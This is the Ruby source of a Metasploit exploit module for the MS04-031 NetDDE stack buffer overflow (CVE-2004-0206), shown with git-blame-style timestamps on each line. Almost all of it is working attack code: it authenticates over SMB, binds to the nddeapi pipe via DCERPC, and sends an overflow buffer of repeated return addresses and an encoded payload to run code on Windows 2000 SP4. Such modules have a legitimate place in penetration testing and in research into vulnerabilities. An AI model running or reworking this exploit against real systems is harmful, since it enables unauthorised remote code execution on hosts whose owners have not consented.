2007-02-18 00:10:39 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-18 07:50:48 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GoodRanking
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft NetDDE Service Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in the NetDDE service, which is the
|
|
|
|
precursor to the DCOM interface. This exploit effects only operating systems
|
|
|
|
released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
|
|
|
|
that this vulnerability can be exploited without authentication, the NDDEAPI
|
|
|
|
pipe is only accessible after successful authentication.
|
|
|
|
},
|
|
|
|
'Author' => [ 'pusscat' ],
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-0206'],
|
|
|
|
[ 'OSVDB', '10689'],
|
|
|
|
[ 'BID', '11372'],
|
|
|
|
[ 'MSB', 'MS04-031'],
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread'
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => (0x600 - (133*4) - 4),
|
|
|
|
'BadChars' => "\\/.:$\x00", # \ / . : $ NULL
|
|
|
|
'Prepend' => 'A' * 8,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Oct 12 2004'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),
|
|
|
|
], self.class)
|
|
|
|
end
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
print_status("Trying target #{target.name}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
|
|
|
print_status("Binding to #{handle}")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle}")
|
2006-01-27 05:00:35 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
retOverWrite =
|
|
|
|
'AA' + (NDR.long(target.ret) * 133) + payload.encoded
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
overflowChunk =
|
|
|
|
retOverWrite +
|
|
|
|
NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
|
|
|
|
NDR.long(0x0)
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
stubdata =
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF))
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status('Calling the vulnerable function...')
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc.call(0xc, stubdata)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
end
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|